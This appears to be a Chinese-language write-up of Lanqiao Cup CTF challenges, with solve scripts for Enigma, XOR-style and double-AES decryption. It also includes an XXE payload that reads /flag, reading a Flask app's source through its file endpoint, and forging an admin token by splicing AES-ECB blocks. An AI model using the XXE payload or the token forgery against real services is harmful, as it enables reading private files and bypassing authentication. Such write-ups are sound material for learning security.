蓝桥杯题解
把简单题基本都做了然后就run了,但pwn和re实在是没学过所以有两道超过几十个解的题没做,其它除了十个解以下的都做了,
ps:现在ctf都喜欢搞数据安全了吗,感觉这次蓝桥杯全是根据数据安全方面出的题
flowzip
ezEvtx
筛选当前日志,然后日志等级选择警告就可筛选出被访问的文件
Enigma
解密脚本
from enigma.machine import EnigmaMachine
rotors = ('I', 'II', 'III') # 右、中、左转子顺序(原顺序错误!)
reflector = 'B' # 反射器类型(B型)
ring_settings = [0, 0, 0] # 环设置(A=0)
initial_positions = 'AAA' # 初始位置(字符格式)
plugboard = [] # 插线板(空)
machine = EnigmaMachine.from_key_sheet(
rotors=rotors,
reflector=reflector,
ring_settings=ring_settings,
plugboard_settings=plugboard
)
machine.set_display(initial_positions)
ciphertext = 'ILBDA MHSWX MORNZ DDDOT KUYZA VSBJC'.replace(' ', '')
plaintext = machine.process_text(ciphertext)
print(f"flag{{{plaintext}}}")
黑客密室逃脱
访问/file?name=app.py
得到源码
import os
from flask import Flask, request, render_template
from config import *
# author: gamelab
app = Flask(__name__)
# 模拟敏感信息
sensitive_info = SENSITIVE_INFO
# 加密密钥
encryption_key = ENCRYPTION_KEY
def simple_encrypt(text, key):
encrypted = bytearray()
for i in range(len(text)):
char = text[i]
key_char = key[i % len(key)]
encrypted.append(ord(char) + ord(key_char))
return encrypted.hex()
encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key)
# 模拟日志文件内容
log_content = f"用户访问了 /secret 页面,可能试图获取 {encrypted_sensitive_info}"
# 模拟隐藏文件内容
hidden_file_content = f"解密密钥: {encryption_key}"
# 指定安全的文件根目录
SAFE_ROOT_DIR = os.path.abspath('/app')
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
f.write()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/logs')
def logs():
return render_template('logs.html', log_content=log_content)
@app.route('/secret')
def secret():
return render_template('secret.html')
@app.route('/file')
def file():
file_name = request.args.get('name')
if not file_name:
return render_template('no_file_name.html')
full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name))
if not full_path.startswith(SAFE_ROOT_DIR) or 'config' in full_path:
return render_template('no_premission.html')
try:
with open(full_path, 'r') as f:
content = f.read()
return render_template('file_content.html', content=content)
except FileNotFoundError:
return render_template('file_not_found.html')
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0')
访问/logs可以得到encrypted_sensitive_info的值
d9d1c4d9e0a697d098b06d969565a397c8aa92a8c39b9ea67165966da09797d7cba894cf9aab6b6363b5
根据源码得知密钥写入了hidden.txt 接下来就是解密了
解密脚本
def simple_decrypt(encrypted_hex, key):
"""解密函数(与加密方法对应)"""
encrypted_bytes = bytes.fromhex(encrypted_hex)
decrypted = bytearray()
for i in range(len(encrypted_bytes)):
encrypted_byte = encrypted_bytes[i]
key_char = key[i % len(key)]
decrypted_byte = (encrypted_byte - ord(key_char)) % 256
decrypted.append(decrypted_byte)
return decrypted.decode('utf-8', errors='ignore')
encrypted_sensitive_info = "d9d1c4d9e0a697d098b06d969565a397c8aa92a8c39b9ea67165966da09797d7cba894cf9aab6b6363b5"
encryption_key = "secret_key8028"
decrypted_text = simple_decrypt(encrypted_sensitive_info, encryption_key)
print("解密结果:", decrypted_text)
星际XML解析器
一眼xxe, 直接现有的payload一把梭 payload:
<?xml version="1.0"?>
<!DOCTYPE replace [<!ENTITY file SYSTEM "file:///flag">]>
<root>&file;</root>
ECBTrain
AES的ecb是分块加密,所以注册一个16*a+admin
然后base64解码后截取后面的部分再base64编码即可
import base64
original_auth = "g8pbiADSNfvR+F9Lc3Jl6KvTSCfB2+0k/KT5YF3y/Wc="
decoded_auth = base64.b64decode(original_auth)
admin_block = decoded_auth[16:]
fake_auth = base64.b64encode(admin_block).decode()
print(fake_auth)
ShadowPhases
在str1与str2比较前的地方下断点, 直接调试的过程中查看str2的值
easy_AES
解密脚本
from Crypto.Cipher import AES
from collections import defaultdict
# 题目给的三样东西
gift = 64698960125130294692475067384121553664
key1 = "74aeb356c6eb74f364cd316497c0f714"
cipher = b"6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6"
# 1.拆成nibble列表
gift_hex = gift.to_bytes(16, 'big').hex()
# 2. 针对 key1 中的每个输出 nibble y,收集它对应的所有 gift_nibble g
groups = defaultdict(list)
for i, ych in enumerate(key1):
groups[ych].append(int(gift_hex[i], 16))
# 3. 为每个 y 列出所有满足 (x & y) == g 的 x 候选
cands = {}
for ych, glist in groups.items():
# 同一个 y 的所有位置上 g 应该相同
assert len(set(glist)) == 1
g = glist[0]
y = int(ych, 16)
cands[ych] = [x for x in range(16) if (x & y) == g]
# 4. 枚举所有 injective 映射(y -> x),并保存每一种映射产生的 key0
ys = sorted(cands, key=lambda y: len(cands[y])) # 先排小候选集的 y,加快剪枝
all_key0 = []
def dfs(idx, assign, used):
if idx == len(ys):
# assign 是一个 dict:{ y_char : x_value }
# 根据它恢复出 32 字符的 key0_hex
key0_hex = "".join(format(assign[ch], 'x') for ch in key1)
all_key0.append(key0_hex)
return
y = ys[idx]
for x in cands[y]:
if x in used:
continue
assign[y] = x
used.add(x)
dfs(idx+1, assign, used)
used.remove(x)
del assign[y]
dfs(0, {}, set())
print("共找到可能的 key0 数目:", len(all_key0))
# 5. 对每个候选 key0 都做一次双 AES 解密,筛出可读明文
def try_decrypt(key0hex):
k0 = bytes.fromhex(key0hex)
k1 = bytes.fromhex(key1)
# 先“反转”第二步 decrypt:用 AES-CBC(key1, iv=k0) encrypt(cipher)
c1 = AES.new(k1, AES.MODE_CBC, iv=k0).encrypt(cipher)
# 再“反转”第一步 encrypt:用 AES-CBC(key0, iv=k1) decrypt(c1)
pt = AES.new(k0, AES.MODE_CBC, iv=k1).decrypt(c1)
# 去 PKCS#7
padlen = pt[-1]
return pt[:-padlen]
candidates = []
for k0 in all_key0:
try:
plain = try_decrypt(k0)
# 简单过滤:全 ascii 可打印且包含 flag{…}
if all(32 <= b < 127 for b in plain) and b"flag{" in plain:
candidates.append((k0, plain.decode()))
except Exception:
pass
print("符合条件的解:")
for k0, flag in candidates:
print("key0 =", k0, "flag =", flag)
```